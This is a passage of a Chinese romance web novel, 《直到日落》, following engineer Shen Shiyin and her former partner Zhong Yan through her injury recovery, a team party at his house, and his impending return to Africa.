一旁的钟琂还在给外婆解释,甚至拿出了病历和诊断单。过了一个多小时,外婆总算相信她的宝贝孙女只是受了点皮外伤,不会变成瘸子,不会嫁不出去,人生也不会完蛋。 “哎呀,我怎么都忘了给你倒水泡茶。”沈外婆收起医药箱,急匆匆地走进厨房。 “我自己来吧。”钟琂跟着走进厨房,他也终于有机会把自己的礼物拿出来。 沈时因独自倒在沙发一角,看着钟琂和外婆在客厅中央拆礼物。 钟琂打开几个方方正正的盒子,里面尽是花花绿绿,“这是丝巾,有很多绑法,您先试试。” 这些都是钟琂前两天刚买的,他把其它袋子里的东西也拿出来,“还有,这是我从非洲带回来的木雕,纯手工制作。” 沈外婆接过木雕,翻来覆去地看:“真好看,多精细呀。上头还有木头香气。” 沈时因这时候有些不乐意了,她气若游丝地说:“谁还记得这里有个病号……” 沈外婆脖子上系着一条丝巾,头上围着一条,手腕还绑着一条,她站起身说:“我这就去给你这个伤员做点吃的。” 钟琂再次跟着走进厨房,“还是我来吧,冰箱里有菜么。” 沈外婆牙口不好,沈时因也要吃得清淡些,钟琂煮了一锅汤,再下了点面条。厨艺算不上多好,但至少新鲜热乎,三个人围坐在餐桌旁,各自都吃了一大碗。 钟琂自告奋勇地进去洗了碗,他擦完台面走出来,对正在看电视的沈时因说:“我明天早上来接你。” 沈外婆一惊:“你还要去上班?” “要上的。”沈时因回答完外婆,又对钟琂说:“我可以自己去。” 钟琂找出她之前发的地铁照片,扬了扬手机,“你都这样了,还能去挤地铁?” 钟琂没打算跟沈时因商量,他道了声别,打开门换鞋。沈外婆来到门口相送,钟琂走之前看见沈时因还坐在沙发上,盯着电视,像是对外界的一切都漠不关心。 钟琂走下楼,他打开车门,在要坐上车之前忽然鬼使神差地抬头看了一眼,恰好看见刚刚出现在防护栏后面的沈时因。 沈时因用手撑着木板,旁边花盆里有两朵新开的花,她看上去并不惊讶钟琂会突然抬头。 沈时因对着下面朗声说:“你不会因为我坐牢。你只是回来帮忙的人,不是项目真正的负责人。” “我知道。”钟琂喉结滚动,他招了招手,“你快进去,别一直站着。” 沈时因罕见地听话,她蹦跳着坐了回去。正在播放的电视节目没什么意思,沈时因看了半天也没看进去,索性搬了张凳子进浴室,她坐了下来,避开小腿洗完了澡。 第二天,沈时因刚洗完脸就听见了敲门声。她打开门,看见钟琂神清气爽地站在门口,依旧不是空手而来:“我给你和外婆带了早餐。” 沈时因退开几步,让钟琂进来。睡完一觉,沈时因已经不觉得疼,她完全能行动自如,有意展示起健步如飞:“你看,我能正常走路了。” 钟琂下意识地想伸手扶她,“你还是注意点,线容易扯着。” “只要不碰着伤口就不疼。”沈时因早上总是忙碌的,她拿着一把化妆刷走来走去,烧完开水拿了几个碗出来,对钟琂说:“你先装一下,我去叫外婆起床。” 沈外婆一贯醒得很早,但她怕影响沈时因睡觉,所以一般会在床上继续躺着,听听早间新闻。 窗外天色刚亮,金灿灿的朝阳照进来,落在客厅地板。沈时因吃完饭收拾妥当才发现这比她平时正常出门的时间还要早。 走到楼梯前,钟琂什么也没说,自觉蹲下身,露出后背给沈时因。 沈时因攀附上他的背,在他耳边说:“下午你就不用背我了,上楼梯不容易扯着伤口。” 钟琂像是没听见,反而从楼梯问题发散了出去,“你外婆腿脚不是不好么,每天上下爬楼能行?” “也就二楼而已,还好吧。等护工到了,有人扶着上下楼应该没问题。况且附近好多老楼都在加装电梯,说不定哪天就轮到我们这里了。” 沈时因假装没有听出钟琂的言外之意,她目前的存款还没有多到能换房子。 “那你想过适老化改造吗?”钟琂说,“这方面的技术已经很成熟了,大半个月就能改建完。” 钟琂走到平路上也没把沈时因放下,他腾出一只手打开后排车门,把沈时因放了进去。 “你是指加装扶手和轮椅坡度,还有感应式夜灯?”沈时因等钟琂也坐上车了才问。 “差不多,但是远远不止这些。”钟琂转动起方向盘,“我妈妈他们大学前几年还专门有人研究这个,我找她要了再发给你看看。” 到达公司大楼,两人又是最先到的。沈时因刚走进办公室,惊喜地发现电脑已经放在了办公桌上。 钟琂本来就一直注意着她的反应,沈时因笑着转头的模样正好落入他的眼里,她欣喜道:“太好了,我搭了那么多模型,要是没了我得哭死。” 沈时因打开电脑检查文件,“是现场那边的人送过来的?” “我昨天晚上过去取的。” 沈时因突然抬起脸,笑意也有些凝固。 这样的话对于目前两个人之间岌岌可危的关系来说有些越界,钟琂被她盯得慌乱不已。一些东西正在发生变化,虽然说不清也道不明,更抓不住。但他不想打破目前这个微妙的平衡。 “还有好多设备也留在那里了,不赶紧取回来多耽误事。”钟琂不以为然地说,他抬脚往会议室走:“一会儿还要开会,你整理一下就快过来。” 沈时因还是等大家都快到齐的时候才走过去,刘周平也到了,他身体力行地践行了什么叫百折不屈,拄着拐杖发出感慨:“还好干的是脑力劳动啊。” 沈时因不动声色地环顾了一圈会议室,她发现汪宇没来,邮件抄送里也没有这个名字。也不知是被踢出项目还是主动请辞了。 经此一役,本来就对钟琂有些崇拜的项目组同事这下更佩服他了,在正式会议之前,赵云萱率先竖起大拇指说:“钟琂昨天可真英勇,对待下属如此仗义,怪不得那么多人都想誓死追随。” 赵云萱一说完,会议室里竟然响起了雷鸣般的掌声。 这个发展走向让钟琂始料未及,他似是有些瞠目结舌地看着眼前的一幕,最后笑开道:“你们别逗我了。” 钟琂笑得很好看,带着些少年般的赧然。他不想搞什么个人英雄主义,浑身写满了抗拒,但并不动气,只表示担不起。身边的赞扬声也渐渐消了下去,再说下去就该变成起哄了。 鉴于刘周平的腿不方便走路,所以他干脆把据点放在了会议室。讨论结束之后他也没走,只要有人找他,或者他有什么事要宣告就都到这里集合。 到了下午,刘周平发丝微乱,靠坐在玻璃窗前,面前摆满了茶罐和盒饭。 第二批的测量结果出来了,沈时因坐在刘周平对面把算好的数据发过去,余光瞥到一旁的钟琂正看着满桌的狼藉皱眉。 “沈工, 13. 第 13 章 《直到日落》全本免费阅读 沈时因毫不意外地起晚了,钟琂看着她眼下的乌青,“我昨天就想问,你怎么那么晚了还没睡?” 沈时因总不可能说是因为你失眠,她收拾东西的动作一滞,“今天可是周五,辛苦一周总算要放假了,我兴奋。” 沈时因是自己下的楼。她不像钟琂那么精力充沛,必须要保证充足睡眠才能神智清醒。坐上车,沈时因在后排抱着咖啡猛喝,钟琂从后视镜里提醒她,“你少喝点水,看样子我们可能要堵车。” 沈时因放下咖啡杯,遥遥向前看去,看见挤得密不透风的车流,“完了,赶上早高峰了。” 只是比平常时间晚了十多分钟,路况就能发生天翻地覆的变化。 沈时因自入职以来还没迟到过,她自己倒无所谓,可两个从不迟到的人突然同时迟到,这场景怎么看怎么奇怪。 “要不要走绕城高速?”沈时因说:“虽然要多绕一段路,但是应该不会堵车。” 钟琂一只手打开地图软件,刚点开输入框还没来得及打字,后面突然冒出一辆想加塞的车。钟琂没注意到车头已经拐了进来,那辆车将喇叭按得震天响。 上班路上,又遇到这样的交通状况,大家火气都大。 钟琂索性把手机递过来,“你帮我导航。” 沈时因接过手机,输入公司地址,点击绕城高速路线,看到上面的一片绿色,她高兴道:“这条路果然不堵,欸,你马上该从下个匝道出去了。” 钟琂听从指挥,拐出去之后没多久就看到收费站。 沈时因握着钟琂的手机没动,刚说完那句话他的手机里就有一条信息弹出来,是一个女生头像,小麦色的肌肤,背景里有阳光沙滩和棕榈树。 沈时因看着WhatsApp图标上方的小红点发怔,信息栏只出现了最多两秒,但她好像突然拥有了过目不忘的能力,能够清晰回忆起每个字和标点。 那个女生发的是:【我被朋友拉去看演出了,后来想到你那边也到晚上了就没回。你现在起床了吗,我们可以继续昨晚的话题。】 沈时因还不知道钟琂什么时候这么有闲聊天的兴致了,他一向是个能面谈绝不打电话,能打电话绝不打字的人,原来追求效率也是分人的,沈时因显然不在此列。 以及……原来前一天那么晚才发来信息也是因为在跟别的女生聊天。 沈时因的手指悬在那个图标上,钟琂已经驱车通过了etc,正在试图并入主车道。她几次都想点进去看看他们聊了些什么,可一旦点进去,那个红色的提示标就会消失,她的行为会变得十分危险。 沈时因像握着一个炸弹,也像是电影里的魔物,只要在她手里就会催生出心中的无限邪念。 沈时因调出导航界面,原封不动地把手机递了回去。 车子飞速行驶在沥青路面上,沈时因靠着车窗晕神,钟琂只以为她是没睡好,将车开得更加平稳。 郑牧发来信息的时机正好,沈时因点开微信,看见郑牧说:【我今天也没有夜班,晚上可以一起吃饭吗?】 沈时因看着这条信息,很久都没有回。在快要下高速的时候,郑牧大概想起了沈时因昨天的话,拨了一通电话过来。 沈时因接起电话,声音清亮:“喂?” 她看见钟琂抬起眼,透过后视镜看了过来。 郑牧默认她没看见信息,开门见山道:“我想问问你晚上有没有时间一起吃个饭?你们公司附近有家还不错的西餐厅。” “今天晚上啊……大概几点?” “几点都行,我等你。” 车内很安静,郑牧的声音穿过听筒,断断续续地流泻出来。导航里的女声也在平稳地播报着,钟琂一时恍了神,险些错过高速出口。 沈时因答应得很爽快:“行,只要我不加班就可以。” “那我们下午再联系。” 挂断电话,车里回归寂静,只剩导航的提示音还在兀自播送距离终点仅有两公里,大概还需四分钟到达。 沈时因看了眼时间,大概跟平时到公司的时间差不多。 钟琂将车倒进停车位,沈时因打开身侧车门跳了下来,她本来就打算自己走,但钟琂似乎也没打算扶她,两人就这样一言不发地坐上电梯。 沈时因开始期盼钟琂会打开手机查看信息,那么至少她能观察他的反应。但钟琂一直没有,他只是一味的沉默着,在电梯门打开的一瞬迫不及待地迈步走出去。 沈时因没有想太多,坐到自己的办公室开始按部就班地开启新一天的工作。 到了下午,项目部有个例行召开的周会。主要是刘周平总结了一番这周的工作成果以及下周的计划和愿景,作为工地事故的头号受害者,他当然也不忘三令五申安全教育。 说到最后,刘周平难免伤怀:“还有一件事,与我们并肩作战一段时间的钟琂马上就要离开了……” 一石激起千层浪,很多人都误以为钟琂会彻底成为他们中的一员。明明才刚刚熟悉,对钟琂也发生了改观,却要面临分别,不少人都流露出了不舍。 不知是谁问了一句:“是又要回非洲?具体哪天走啊?” 钟琂回答:“下周二出发,周一要准备一下,应该就不过来了。” “本来还想着你能带我们飞呢,没想到只带我们打了个地基。” 有人遗憾地说:“那完工之后都不能一起开庆功宴了,凌副总还说要送我们项目部一个五星级豪华游。” “我们可以提前聚。”钟琂也面露伤怀,他提议道:“今晚就行,只是不知道能不能全员到齐……” 钟琂这话得到了一呼百应的效果,沈时因旁边的同事当场嚎了一嗓子:“你放心,我们这行都是孤寡,绝对能来!” 有人当即查起了晚上的聚会地点,刘周平在群里吼了一声,让赵云萱这个编外人员也记得过来参加。 坏就坏在预订时间太晚,附近常聚餐的几个地方都约满了。就在众人一筹莫展之际,钟琂说:“可以来我家,我家挺大的。我们可以烤点烧烤再叫人上门做几个菜。” 经过深入接触和了解之后,大家发现钟琂也并不是刚开始以为的那样孤傲不群嘛。不仅同意聚餐,还很仗义地把自己家提供出来当聚会场地,一般的大佬哪有这么好说话? 在一浪高过一浪的欢呼声中,刘周平已经安排起了下班之后的采购小组,一部分人去买酒水,另一部分人负责买肉和菜,剩下一部分人去买佐料和签子。 身边同事一个比一个踊跃。在这样集体性的高亢气氛之中,沈时因做不到站出来说自己有事不能参加。她悄悄拿出手机,给郑牧发去信息取消约会。 作为伤员,沈时因自然不用参加采购工作。下班之后她和刘周平被一个年轻同事开车送到钟琂家里,不到五分钟的车程,刘周平把群里的地址打开看了好几遍,“是这儿吗,怎么每栋楼都长得差不多?” 沈时因连连摇头:“我怎么会知道,我又没来过。” 别墅大门是远程控制的,在经过的时候两扇大门突然同时打开,在车开进去之后再自动关上。那应该就是这儿了。年轻同事扶着刘周平,输入钟琂发过来的一串临时密码打开门,他走进去把灯和电视都打开。 沈时因和刘周平都被安顿在了沙发。钟琂要去买菜,那个年轻同事算是派来照顾伤员的,他正在开放式厨房里拿杯子给他们两人接水。 沈时因是第一次进来,她不自觉地打量起客厅陈设,一旁的刘周平也是如此。 “这得奋斗多少年才买得起一套市中心的独栋别墅呀。他们居然常年放着不住,真是暴殄天物。”刘周平 14. 第 14 章 《直到日落》全本免费阅读 钟琂也把手柄递了出去,第二局游戏很快开始。 沈时因发现这个游戏挑得特别合适,操作难度不大,很快就能上手,围观的人也能在旁边出谋划策,参与感很强。 游戏本身的精髓在于两组人之间必须互相使坏,影响对方,活跃了气氛不说,在半真半假的打抱不平里,同事之间的关系好像一下子增进了很多。 一个小时很快过去。到了吃饭时间,大家还都有些意犹未尽,说是吃完以后还要继续。 几十个人分成了两批,大部分围坐在餐桌周围,剩下的坐在花园,吃饭途中还能顺手把剩下的一点肉烤了。 钟琂基本上没坐下来过,他一直往返于两桌人之间,还时不时地做些传菜的活儿,极尽地主之谊。见吃得差不多,他又拿出扑克和桌游,这样一些人可以继续玩电子游戏,另一些人玩别的也不至于无聊。 安排好饭后娱乐,钟琂环视整个客厅,忽然发现一个问题——沈时因不见了。 是什么时候不见的呢,钟琂回想片刻,想起来大概是在吃完一盘海鲜炒饭之后。 起初,钟琂以为她是去了花园想吹吹风,但花园和阳台都没人。钟琂又去了洗手间,还是没有找到。 最后,钟琂是在走廊另一头的书房里发现了沈时因。 她手里拿着一个易拉罐,正站在照片墙的前面,仔细端详着上面的照片。 沈时因本来觉得头有点晕,想去洗把脸,但她走错了房间,察觉到这是书房以后,她又被墙上的照片所吸引。虽然已经移民多年,但钟琂的妈妈每次回国都会重新布置,墙上的照片很具备时效性。 沈时因看见了当初在非洲拍的集体大合照,是大桥动工那天拍的,只不过她和钟琂站得相隔很远,一个在照片的那头,一个在这头,中间隔着人山人海。 旁边还有一些钟琂和父母朋友的合影,不过真正让沈时因注意到并驻足的是一张泳池边的合照。照片应该是几年前拍的,许多年轻的俊男靓女挨在一起,笑得开怀肆意。钟琂也在其中,沈时因认出了他身边的女孩,就是今天早上在WhatsApp说可以继续聊天的那个女孩。 沈时因察觉到钟琂走进来也没挪开视线,她指着那张照片问:“这是谁?” 钟琂还以为她问站在他右侧的男生,“这是蒋斯年,我的好朋友。以前跟你提过的。” 沈时因依旧指着照片,只是偏了一点头看向他,像是还在等接下来的话。 钟琂只好依次介绍道:“这是我的大学同学,棕色卷发是邻居家的小孩,戴眼镜的是我父母朋友的孩子,这是蒋斯年的女朋友。” 沈时因的手指落在最后一个人脸上,她问:“你是说……这是蒋斯年的女朋友?他们现在还在一起?” “对,他们在一起好多年了。我们三个小时候一起上中文课,算是一起长大的。” 沈时因又回过头去看这张照片,然后再看看非洲的合影,就这样来回不停。 钟琂总算察觉到不对,他抽出沈时因手里的易拉罐,嗓音有些低沉:“你不该喝酒的,医生也说在拆线之前不宜饮酒。” “这不是酒,是饮料。”沈时因言之凿凿地说。这是她吃饭途中从桌上拿的,喝之前也确认过不是酒。 “这是果味啤酒。”钟琂指着瓶身上的一行小字说:“你看,酒精含量还不低。” 钟琂晃了晃瓶身,沈时因恐怕喝了大半罐。 他扶着沈时因坐到旁边沙发,本来想让她坐好,可沈时因整个人都东倒西歪,脑袋耷拉着往他怀里靠,一股灼热的气息喷在他的脖间。 钟琂塞了个枕头在沈时因身后,寻到可以依靠的柔软之后她立马仰了过去。沈时因酒量不算好,她的状况变得越来越糟,脸颊和胸口都呈现出大片红色。 她的双眸蒙上了一层水雾,荡着潋滟波痕,看上去懵懵懂懂、含羞带怯。 原本想出去接杯清水的钟琂就这样被钉在了原地。 “你好像一个……桃子。” 准确来说,是一个新鲜欲滴、只要咬一口就汁水四溢的桃子。 钟琂曾经尝过,他知道 15. 第 15 章 《直到日落》全本免费阅读 客厅里那场酣畅热烈的聚会仍在继续,一扇门阻隔了喧嚣与嘈杂,书房里静谧得像是置身于另一个世界。一个时间流逝更慢,空气也更粘稠暧昧的世界。 钟琂关掉大灯,只剩一个书桌旁边的小台灯散发出昏黄的光晕。窗外的月光照进来,照在他有些发沉的脸庞。 钟琂不禁怀疑,他费尽心思破坏沈时因和郑牧的约会,难道就只是为了让她在自家的书房睡一觉?这样的行为怎么看都是徒劳无举,起不到任何实质上的作用,也从来不是他的行事风格。 沈时因再醒过来看见的就是坐在书桌后面,一脸严肃正在看书的钟琂。 沈时因猜测钟琂看的是一本深奥无比的书,因为他看上去百思不得其解。她撑起上身坐起来,太阳穴很快传来一阵剧痛,头也有些昏沉。 沈时因支起膝盖,双手撑着头,许久都没动。她猜测自己是起得太猛,所以想缓一缓,把这一阵头痛给熬过去。 钟琂坐在房间唯一的光亮处,他在第一时间抬眼看了过来。沈时因在阴影里显得形单影吊,瘦削的背脊垂在膝头,显得很薄很轻,仿佛随时都会飘到半空中,羽化而去。 沈时因感觉到身旁的沙发凹陷了下去,钟琂递过来一个插着吸管的口服液,“这是解酒的。” 沈时因伸手接过来,看也没看就将吸管放进了嘴里。她一口气喝完整管,鼻子眉毛皱成了一团:“好苦……” 钟琂像是早有准备,摊开的手掌上放着两颗糖。沈时因拿起粉色薄荷糖吃进去,香甜总算覆盖掉刚刚的苦味,仔细一品,是桃子味。 沈时因含着糖,囫囵着问钟琂:“我睡了多久?” “一个小时左右。” 沈时因的头总算没那么痛了,她开始打量起身边的环境,像是完全忘记自己为何会身处此地。 “这是你家?” 钟琂没由来地有些做贼心虚,他拿出刚买的两瓶矿泉水,递给沈时因一瓶,自己拿着一瓶,拧开瓶盖喝了几口。“项目部的同事一起来我家聚餐,你忘了?” 沈时因像是真忘了,她思索半晌,总算露出恍然大悟的表情,“那他们走了吗?” “没有,都在外面玩。” 沈时因把自己的手机找出来,九点了。第二天是周六,大家似乎都默认可以玩得晚点。 沈时因的记忆的确出现了一片空白,她试探着问:“我喝完酒之后就直接睡着了?没说什么胡话吧?” 借着那盏台灯的幽光,钟琂注视起沈时因的脸,他像是回忆了一会儿,然后说:“没有,你只是在看照片。” 说起照片……沈时因把毯子拿开,她又一次被墙上的照片吸引,走到门口打开灯。一张张地浏览过去,忽然指着那张泳池边的照片问:“这是谁?” 钟琂差点笑出声,沈时因就像一个存在于动画里的翩翩少女,这场动画在播放时不小心卡了带,于是她要一遍遍地循环,重演同一段剧情。 钟琂抻紧脸皮,没让自己笑出来。他不得不从左到右,重新介绍了一遍。只不过这一次没等沈时因问,他主动说明了自己和蒋斯年以及他女朋友的关系。 沈时因“哦”了一声,她拧开门把说:“那我先出去了。” 明明才刚吃完晚饭没多久,睡完一觉的她又有点饿。沈时因迷迷瞪瞪地走到一片狼藉的客厅茶几前,摸索半天,发现所有的零食包装都空了。 钟琂也跟在她后面走了出来,“还剩了一些虾,我用蒸箱蒸一下你吃行吗?” 语气虽然是在商量,但钟琂已经走到厨房戴好手套,打算处理虾线。沈时因走到岛台另一侧,切了些去腥的生姜。 吃完夜宵补充能量,沈时因倒是一点也不困了。但其他同事大多人到中年,熬不动夜,刚过十点就一个接着一个打起哈欠。刘周平最先提出要散,大家互相统计了一下地址,由几个有车的负责顺路送其他没车的人回家。 沈时因跟随人潮走出去,遵循安排坐上一辆车,身边都是不太熟悉的同事。钟琂站在门口向大家挥手,口中说的不是“明天见”或者“下周见”,而是“再见了”。 这次一别恐怕再难相见,大家都心知肚明。分别身处在地球的两端,除非其中一方极力奔赴,否则就是永别。 沈时因也跟着大家一起挥手,她小声地说了一句:“再见。” * 第二天是周六,沈时因早早地起床做好饭,打扫了一下家里,与外婆一起等待郑牧带着护工上门。 “因因啊,外婆还是觉得……” “打住。”沈时因摆出拒不交谈的架势,“我们已经讨论过这个问题很多次了,没得商量。” 这一次的交锋最后还是以沈外婆让步收场。上午十点,郑牧一口气带了五个护工上门。沈时因打开门迎接,在给外婆介绍郑牧的名字时,她忽然一顿,陷入了沉思。 沈时因:“奇怪了,我怎么总感觉昨天有人跟我提起过你。” 郑牧笑道:“是不是你一直想着今天的事,提醒自己别忘了跟我的约定?” 沈时因想不起来,于是干脆不想了,“应该是这样,你们快进来吧。” 跟在郑牧后面的护工鱼贯而入。面试正式开始,看起来利索能干的阿姨们一字排开,面向沈时因依次介绍自己的情况。 沈时因拿着个笔记本坐在对面,唰唰地做记录。她提前准备了一些问题,在自我介绍结束之后以问答题目的形式发放了下去,基本都是些期望薪资、护理要点一类的问题。 招聘求职是一个双向选择的过程,几名护工也在打量着沈外婆和房间陈设,似乎在考量未来的服务对象和工作环境。这套房子虽然说不上多宽敞豪华,但胜在干净温馨,阳台防护栏上种满了花花草草,郑牧猜测祖孙俩平时的生活一定是闲适自在的。 面试过程还算顺利,沈时因收起笔记本,挨个留下联系方式,再将人送出去,“我跟我外婆再商量一下,最迟今晚答复。” 沈时因回来以后又在笔记本上勾勾画画,郑牧说:“其实你不用这么快做决定,要是拿不准的话先试用一段时间也行。” “主要是后天该上班了。我想让护工尽快上岗,这样我明天能留在家里看看情况。” 沈外婆端着盘水果来到郑牧身旁,好奇地问:“小郑啊,我听说你是郑意成的堂弟,在医院工作?” 郑牧诚惶诚恐地双手接过果盘,点头道:“对,我是骨科医生。” 沈外婆眯起眼睛打量郑牧,外形条件虽然比钟琂要差点,但也是个高高大大、相貌周正的大好青年。她走近一步,问:“小郑今年多大了?住在哪里?家里几口人?” 眼看外婆已经有了要查户口的趋势,沈时因收起本子,对郑牧说:“走走走 16. 第 16 章 《直到日落》全本免费阅读 梁冉和郑意成肯定要一起过去,沈时因猜测钟琂不太熟悉地方,所以想顺路把她捎上。 到了下班时间,沈时因来到地库,在钟琂惯常停车的地方找到车,拉开了副驾驶车门。 钟琂面前放着一台电脑,他正在查看图纸,沈时因瞥见一个承台,不太像国内的市政风格。她一边系安全带,一边随口问道:“非洲那边的新项目?” “嗯,规模不大。张工催得急,非让我现在看看。” 钟琂改了几处地方,做好批注,发出去之后关上电脑放到后排。沈时因主动用自己手机设好了导航,调大音量说:“挺近的,开车应该不到十分钟。” 钟琂点了点头,“我去过那附近。上次参加完婚礼,我晚上去江边逛了逛。” “这样啊。”钟琂毕竟算是一个外乡人,游览夜景当然再正常不过。沈时因问:“你明天就回非洲?机票买好了么?” “买了。”钟琂转头看了看沈时因,补充了一句:“打疫苗那天就买好了。我明天先飞广州,再从广州转机。” “哦……那祝你一路平安。” 本来应该是饭局结束,分别时候才说的话。沈时因也不知道怎么就脱口说了出来。 “沈时因。”钟琂已经驾车驶出了地库。车里分明只有他们两个人,但他还是字正腔圆地叫她的名字。 没等沈时因答应,钟琂接着说:“其实我觉得回来一趟挺方便的。二十个小时的航程不算长,我睡一觉,再看看书、处理一些工作上的事,很快就到了。” 更重要的是心中有期盼。有期待,所以不会觉得累。 沈时因能够理解:“头等舱当然好了,睡得好吃得也好。” 说完那些话,钟琂忽然变得有些紧绷,握住方向盘的指节也用力攥紧。 沈时因看得出来他在做一个很重大的决定,再联想起过去一周的反常,她不禁有了一个想法——公司总部不会要有什么大动作了吧? 国内的基建虽然已经趋近于饱和,但很多市政项目都会更新迭代。今天要发展海绵城市,明天就有可能发展经济开发区,城市地标也在不断革新。楼房已经不再仅仅是栖身之所,更是往美感、设计感和功能性上面追求。 如果真的有足以成为地标或是载入史册的大项目,那么总部大概很需要一个既有管理能力又才华卓然的人,钟琂当然是不二之选。 看来总部极有可能已经向钟琂发出了邀约意向,钟琂正在考虑。 钟琂还在掂量着说辞:“特别是这次回来,我意识到我是喜欢这里,喜欢这座城市的。虽然对它的了解仅仅建立在一次夜游,但可能跟我在这里出生也有关系,有种天然的亲近感,很容易产生感情。” 沈时因很能理解他的想法,因为喜欢一座城市,所以想要建设它,这是一种很本能的热忱。 钟琂不太像大多数汲汲营营、按部就班活在固定框架里的现代都市人,他也不像沈时因所认识的每一个人。钟琂身上有一些很纯粹的东西,会为了热爱和追求义无反顾。 “可是非洲才是你的人生理想啊。你爱上了非洲,所以才会毅然留在那里,难道你现在对建设非洲失去兴趣了?” 沈时因不知从哪里冒出来的心气,明明自己先做了逃兵,但此时居然也想为非洲打抱不平。 钟琂已经停好了车,旁边就是晚上要吃饭的餐厅,但他没有下车,而是顺着沈时因的话讲:“其实也可以这么说。” 沈时因心想,原来当初那么坚定的人竟然也会动摇。况且她也不懂,钟琂的职业决策和就业方向为什么要跟自己商量。 钟琂接下来的话甚至超出了商量的范畴,他像是走投无路之下将人生大事随机交给一个路人做选择那样,语调轻松地开口:“沈时因,只要你开口让我留下,那我就留下。” 入夏的蝉鸣声连贯绵长,从不停顿。车里的沉默将周遭一切声音都放大到不容忽视的地步。仿佛从听到蝉鸣的这一刻起,属于夏天的燥热才真正袭来并落到实处。 沈时因的第一反应是心疼机票。头等舱的机票多贵呀,不到二十四个小时就要起飞了,就算能退也得扣一大笔手续费。 并排而坐的两个人都看向各自一侧的窗外,沈时因盯着街对面的路牌,“我不能替你做决定,如果到时候事情发展得不尽如人意,那我岂不是成罪人了。我能确定的只有一点,那就是即便你要留下来,我也绝不会把私人感情掺杂进工作里,虽然我们之间不剩什么……” 沈时因深吸了一口气,默了几秒才继续说:“其实我刚去非洲的时候好几次都想打退堂鼓,正是因为看到了你这样一腔赤诚的人,我才能坚持下去。可能很多人都或多或少抱着跟我同样的想法。如果连你也要放弃,那我希望至少每一个决定都是遵从本心,任何人都不该影响你的想法。” 钟琂已经熄了火,车窗紧闭,沉闷的空气让人很想逃离。 沈时因打开车门,“快进去吧,别让他们等。” 她没有回头,但能感觉到钟琂始终跟在她后面。好像不论她要去哪里,他都会亦步亦趋地追随。 * 梁冉和郑意成已经先到了。餐厅里用许多大大小小的屏风做隔断,沈时因七拐八拐地闷头找了半天,最后在江景位找到了人。 “快坐快坐。”梁冉特地把身边的位置空了出来,拿出礼物说:“给你的,快戴上看看!” 这是一个四人桌,钟琂坐到沈时因的对面,也就是郑意成的旁边。落座之后看见沈时因打开包装精美的礼物盒,拿出一串贝壳手链戴在手上,随着她的晃动流光溢彩。 “好看吗?”沈时因看着手链,不知在问谁。 钟琂很衷心地回答:“好看。” 郑意成已经点好了几个菜,他强烈表示钟琂大老远地回来,这顿饭应该自己做东。对面两人还在你来我往地推拒,梁冉已经迫不及待地要与沈时因分享旅行心得。 “潜水的时候我可害怕了,还有鱼群从我身边经过,我都不敢动……咦,你腿怎么了?” 沈时因穿了条裙子,一坐下小腿上的伤痕就露了出来,“没事的,就是在工地勘验的时候出了点意外。” “严重吗,疼不疼呀?”梁冉看这伤有些触目惊心。 “不严重,看起来长,但是不深。” “那会留疤吗?” 她们这边的交谈引起对面注意,沈时因也不知道最后是谁赢得了这次买单权,但钟琂很平静地抢答了梁冉的问题:“不会留疤的。” “那就好。”梁冉长舒了一口气。 话题很快由沈时因的伤转到对钟琂的送别上。 郑意成不无遗憾地说:“真是不巧,我们婚礼第二天就出发度蜜月,昨天刚回来,你又要走了。都没时间多聚聚。” 沈时因听着这些话,却有些置身事外。她已经在前一天道别过,离别的战线拉得太长,那些情绪仿佛也被抻开,被稀释得越来越少。 钟琂说:“以后还有机会的,我又不是不回来了。你和梁冉不管是来美国还是非洲,我也一定负责接待。” 郑意成不住地点头,“冉冉早就说想去奥兰多了。不然下次我们一起,四个人来趟美国之旅?” 梁冉轻咳了一声, 17. 第 17 章 《直到日落》全本免费阅读 沈时因实在很难去形容接下来发生的事。 她不确定钟琂听见了多少,但尴尬场面已经板上钉钉。偏偏钟琂还是一个不知尴尬为何物的人,他若无其事地坐下来,收起车钥匙,但没有再出去给张工回电话的打算。 梁冉脖子都快缩成鹌鹑了。郑意成爽朗地笑了几声,故意用一副无所谓的态度问:“你什么时候回来的?” 钟琂大概也从来不需要考虑什么人情世故,本来互相装一装、卖个面子也就过去了,可他思索了两秒,很肯定地回答:“从你们聊到火坑那里。” 原来场面还能变得更难看,空气沉得仿佛能拧出水。坐在绝佳江景位的沈时因望着滔滔不绝的江水,恨不得一头扎进去游上岸算了。 郑意成索性站起身:“都吃得差不多了,那我去买单。”一顿饭吃到这个份上,也没有什么继续下去的必要。 “我已经买过了。”钟琂说。郑意成浑身一僵,却没再坐下去。 钟琂还是跟着站起来:“既然吃得差不多了,那就走吧。” 沈时因和梁冉如蒙大赦,同时提着包一言不发地往外走。走到门口,总还是要说一些告别的话,郑意成嘴唇翻飞:“祝你一路顺利,出入平安,到了非洲也注意保重身体,我们下次再聚。” 沈时因也挥手道:“那我坐梁冉的车回去了,明天一路顺利。” 钟琂微微颔首,没有说话。等三人都坐上车了,他还站在原地没有动。 梁冉把车开出停车位,经过钟琂的时候郑意成嵌下车窗,“那我们就走了啊。” 钟琂到底还是挥了挥手,表示再见。只是手停在半空中,没什么左右晃动的频率,像个木然的机器。 沈时因回过头,从后车窗里望出去,钟琂抬起头像是在看月亮,神色有些悲凉。 车子开出去一段,握着方向盘的梁冉总算能够扯着嗓子鬼哭狼嚎:“怎么就那么巧,背后说人坏话还能刚好被当事人撞上!我都想当场找个地缝钻进去了,钟琂这个人也是,遇到这种事就假装没听见好了,偏偏还要站出来,故意给我难堪是不是?” 沈时因安慰道:“他这人就那样,你别往心里去。” 梁冉:“那我是不是算把他彻底得罪了?而且他还和你、郑意成都是一个行业的,又那么呼风唤雨,以后会不会从中作梗给你俩穿小鞋?” 沈时因说:“那倒不至于,钟琂这个人虽然固执梗直,说不来场面话。但是公私分明,人品也信得过,更不会搞那些小动作。” 梁冉总算暂且放下心,她的情绪来得快去得也快,很快就想通了:“痛骂好朋友的前任,这种事再正常不过了,我没什么好羞愧的。再说了,钟琂明天就要去非洲,又没了你这层关系,我们这辈子都不一定还能再有交集。” 沈时因很高兴梁冉能想得开,她在下车之前又劝了几句,让两人回家之后也不许再因为她吵架。 回到家里洗完澡,沈时因想了想,还是点开了和钟琂的信息对话框。 沈时因的手指放在屏幕上,开始遣词造句:【我替梁冉向你道歉。她这个人一向心直口快,又跟我是朋友,一心只想给我出气,所以言辞激烈了些,但是对你没有恶意。希望你不要介意。】 沈时因的头枕在叠好的被子上,她将手机熄屏放在一边,双手交叠放在肚子上,莫名呈现出一种很宁静祥和的态度在等待回音。 钟琂回得很快,只有三个字:【没关系的。】 是钟琂的说话风格。 